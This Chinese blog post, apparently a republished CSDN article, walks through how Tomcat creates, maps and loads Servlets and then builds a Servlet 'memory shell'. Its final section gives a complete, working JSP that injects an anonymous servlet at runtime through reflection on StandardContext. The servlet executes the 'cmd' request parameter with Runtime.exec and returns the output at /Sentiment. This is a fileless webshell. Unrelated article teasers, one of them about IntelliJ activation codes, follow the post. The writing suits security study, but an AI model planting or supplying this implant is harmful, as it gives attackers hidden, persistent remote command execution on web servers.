对于Servlet内存马利用分析

news/2024/6/3 18:12:22 标签: servlet, 云原生, kubernetes, 开发语言, python, 容器

Servlet

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,它早期的名称为catalina,后来由Apache、Sun 和其他一些公司及个人共同开发而成,并更名为Tomcat。Tomcat 是一个小型的轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选,因为Tomcat 技术先进、性能稳定,成为目前比较流行的Web 应用服务器。Tomcat是应用(java)服务器,它只是一个servlet容器,是Apache的扩展,但它是独立运行的。

从宏观上来看,Tomcat其实是Web服务器和Servlet容器的结合体。

Web服务器:通俗来讲就是将某台主机的资源文件映射成URL供给外界访问。(比如访问某台电脑上的图片文件)

Servlet容器:顾名思义就是存放Servlet对象的东西,Servlet主要作用是处理URL请求。(接受请求、处理请求、响应请求)

Servlet接口一共有五个类分别是init(Servlet对象初始化时调用)、getServletConfig(获取web.xml中Servlet对应的init-param属性)、service(每次处理新的请求时调用)、getServletInfo(返回Servlet的配置信息,可自定义实现)、destroy(结束时调用):

public interface Servlet {
void init(ServletConfig var1) throws ServletException;

ServletConfig getServletConfig();

void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException;

String getServletInfo();

void destroy();

}

Demo

Servlet.java

package memoryshell;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class Servlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().write(“Hello,Sentiment!”);
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    doGet(req, resp);
}

}
web.xml

hello memoryshell.Servlet hello /hello 访问/hello ![在这里插入图片描述](https://img-blog.csdnimg.cn/baefab88d6d443908465ecf1ccc7ae52.png)

Servlet生成

本地没有catalina,所以加了个依赖,可能是版本不对在调试时可能会有一丢丢代码不匹配的问题,但不影响正常流程

依赖

org.apache.tomcat tomcat-catalina 9.0.19 整个栈在ContextConfig调用了configureStart#webConfig()读取web.xml ![在这里插入图片描述](https://img-blog.csdnimg.cn/fd33b7de62c443ff9da90375cd3a0a9d.png) ![在这里插入图片描述](https://img-blog.csdnimg.cn/01f483f2deb74622a6199913186ba988.png)

然后根据 web.xml 配置 context调用了configureContext()

if (this.ok) {
this.configureContext(webXml);
}
跟进configureContext()前边依次读取了 Filter、Listenert的配置及其映射,我们直接看后边的 Servlet 部分:
在这里插入图片描述

首先通过StandardContextS#createWrapper(),创建wrapper对象

Wrapper(包装器):代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。

public Wrapper createWrapper() {
Wrapper wrapper = null;
if (wrapperClass != null) {
try {
wrapper = (Wrapper) wrapperClass.newInstance();
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
log.error(“createWrapper”, t);
return (null);
}
} else {
wrapper = new StandardWrapper();
接着设置了启动优先级LoadOnStartUp,以及servlet的Name。

设置好优先级后就调用下边的setServletClass(),配置了Servlet的Class。

wrapper.setServletClass(servlet.getServletClass());
最后通过addChild()将创建并配置好的 Wrapper 添加到 Context 中。通过循环遍历所有 servlets 完成了 Servlet 从配置到添加的全过程,接下

来就需要添加Servlet-Mapper了(对应web.xml中的)

取出web.xml中所有配置的Servlet-Mapping,通过context.addServletMappingDecoded()将url路径和servlet类做映射。(这里的/hello、hello就是我们在Mapper中设置的值)
在这里插入图片描述

流程
通过 context.createWapper() 创建 Wapper 对象;
设置 Servlet 的 LoadOnStartUp 的值;
设置 Servlet 的 Name;
设置 Servlet 对应的 Class;
通过addChild()将创建并配置好的 Wrapper 添加到 Context 中
通过addServletMappingDecoded()将 url 路径和 servlet 类做映射。

Servlet加载

在 org.apache.catalina.core.StandardWapper#loadServlet() 下断点调试:

回溯到StandardContext#startInternal同样也是在处理完listener和filter后,处理Servlet,这也就体现了分析Listener中提到的执行流程(Listener -> Filter -> Servlet)

首先调用了findChildren(),将之前通过addChild()添加的所有Wapper传入loadOnStartup()中处理
在这里插入图片描述

跟进loadOnStartup(),children的值就是通过this.findChildren()传入进来的
在这里插入图片描述

通过循环将children中的值逐一赋给child,在赋值给wrapper中,之后有一段判断:

if (loadOnStartup >= 0) {
Integer key = loadOnStartup;
ArrayList list = (ArrayList)map.get(key);
if (list == null) {
list = new ArrayList();
map.put(key, list);
}

list.add(wrapper);

}
如果loadOnStartup >= 0,就会将wrapper追加到list中,但loadOnStartup 的默认值是-1,
在这里插入图片描述

servlet的配置当中即(web.xml),1的含义是:
标记容器是否在启动的时候就加载这个servlet
当值为0或者大于0时,表示容器在应用启动时就加载这个servlet
当是一个负数时或者没有指定时,则指示容器在该servlet被选择时才加载。
正数的值越小,启动该servlet的优先级越高。

由于我们要注入内存马,且没有配置xml不会在应用启动时就加载这个servlet,因此需要通过反射将值修改为1,将其追加到list中

之后通过load()进行加载,根据具体请求进行初始化、调用、销毁一系列操作

在这里插入图片描述

Servlet内存马

首先通过doGet方法实现恶意类

<%
HttpServlet httpServlet = new HttpServlet() {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
InputStream is = Runtime.getRuntime().exec(req.getParameter(“cmd”)).getInputStream();
BufferedInputStream bis = new BufferedInputStream(is);
int len;
while ((len = bis.read())!=-1){
resp.getWriter().write(len);
}
}

  @Override
  protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    super.doPost(req, resp);
  }
};

%>
之后还是老办法获取StandardContext:

<%
Field reqF = request.getClass().getDeclaredField(“request”);
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();
%>
反射修改loadOnStartup

<%
Wrapper newWrapper = stdcontext.createWrapper();
String name = servlet.getClass().getSimpleName();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
%>
最后将 URL 路径与 Servlet 恶意类做映射:

<%
// url绑定
stdcontext.addChild(newWrapper);
stdcontext.addServletMappingDecoded(“/Sentiment”, name);
%>
Servlet.jsp

<%@ page import=“java.lang.reflect.Field” %>
<%@ page import=“org.apache.catalina.core.StandardContext” %>
<%@ page import=“org.apache.catalina.connector.Request” %>
<%@ page import=“java.io.IOException” %>
<%@ page import=“org.apache.catalina.Wrapper” %>
<%@ page import=“java.io.InputStream” %>
<%@ page import=“java.io.BufferedInputStream” %>
<%@ page contentType=“text/html;charset=UTF-8” language=“java” %>

Sentiment <% HttpServlet httpServlet = new HttpServlet() { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); BufferedInputStream bis = new BufferedInputStream(is); int len; while ((len = bis.read())!=-1){ resp.getWriter().write(len); } }
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost(req, resp);
    }
};

//获得StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();

//从StandardContext.createWapper()获得一个Wapper对象
Wrapper newWrapper = stdcontext.createWrapper();
String name = httpServlet.getClass().getSimpleName();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(httpServlet);
newWrapper.setServletClass(httpServlet.getClass().getName());
//将Wrapper添加到StandardContext
stdcontext.addChild(newWrapper);
stdcontext.addServletMappingDecoded("/Sentiment", name);

%>
访问Servlet.jsp后注入成功在这里插入图片描述


http://www.niftyadmin.cn/n/5046905.html

相关文章

SLAM从入门到精通(机器人建模和仿真环境)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 很多同学学了ros&#xff0c;以为把publish、subscribe、消息、服务这些接口学好了就行。其实这是很大的误区。因为这些通信机制只是帮我们了解ros…

二叉树求高度和深度总结

前言 深度&#xff1a;当前节点到根节点的路径距离&#xff0c;层数。 高度&#xff1a;当前节点到叶子节点的高度&#xff0c;层数。 1、递归 1、高度&#xff1a;也用递归后序&#xff0c;能够把子节点情况返回给父节点 2、深度&#xff1a;递归用后序&#xff0c;左右中。前…

linux系统中mysql 连接出现“too many connections”问题解决办法

问题内容&#xff1a; 原因: mysql配置参数中设定的并发连接数太少或者系统繁忙导致连接数被占满。连接数超过了 MySQL 设置的值&#xff0c; 与 max_connections 和 wait timeout 都有关&#xff0c;wait_timeout 的值越大&#xff0c;连接的空闲等待就越长&#xff0c; 这样就…

Text-to-SQL小白入门(六)Awesome-Text2SQL项目介绍

项目介绍 项目地址 GitHub地址&#xff1a;GitHub - eosphoros-ai/Awesome-Text2SQL: Curated tutorials and resources for Large Language Models, Text2SQL, and more. 项目首页 欢迎大家围观参与、使用、贡献。 项目理念 这个项目主要收集了针对大型语言模型和Text2SQ…

基于Java开发的数字化询价招标采购系统(SRM系统源码)

在如今商业环境中&#xff0c;企业的采购流程变得越来越重要。传统的采购方式可能存在诸多弊端&#xff0c;例如效率低下、信息不透明、易滋生腐败等。为了解决这些问题&#xff0c;许多企业开始转向SRM&#xff08;供应商关系管理&#xff09;系统。本文将详细介绍SRM数字询价…

最近Intelli Idea官方2023

大家好&#xff0c;最近Intelli Idea官方码的校验规则进行了更新&#xff0c;之前已经成功的Idea可能突然无法使用了。 我特地从网上整理了最新、最稳定的码分享给大家&#xff0c;希望可以帮助那些苦苦为寻找Idea码而劳累的朋友们。 激本活码安全、可靠&#xff0c;最重要的是…

代码随想录之单调栈|739. 每日温度,496.下一个更大元素 I

单调栈专门解决Next Greater Number&#xff0c;这句点题 739. 每日温度 暴力超时 class Solution {public int[] dailyTemperatures(int[] temperatures) {//双指针解法int slow0;int fast1;while(fast<temperatures.length){if(temperatures[fast]<temperatures[slo…

探讨代理IP与Socks5代理在跨界电商中的网络安全应用

在数字化时代&#xff0c;跨界电商已经成为了商业世界中的一大趋势。然而&#xff0c;跨越国界的电商活动也伴随着网络安全挑战。本文将讨论如何利用代理IP和Socks5代理技术来提高跨界电商中的网络安全&#xff0c;同时也探讨了与游戏相关的爬虫应用。 1. 代理IP和Socks5代理的…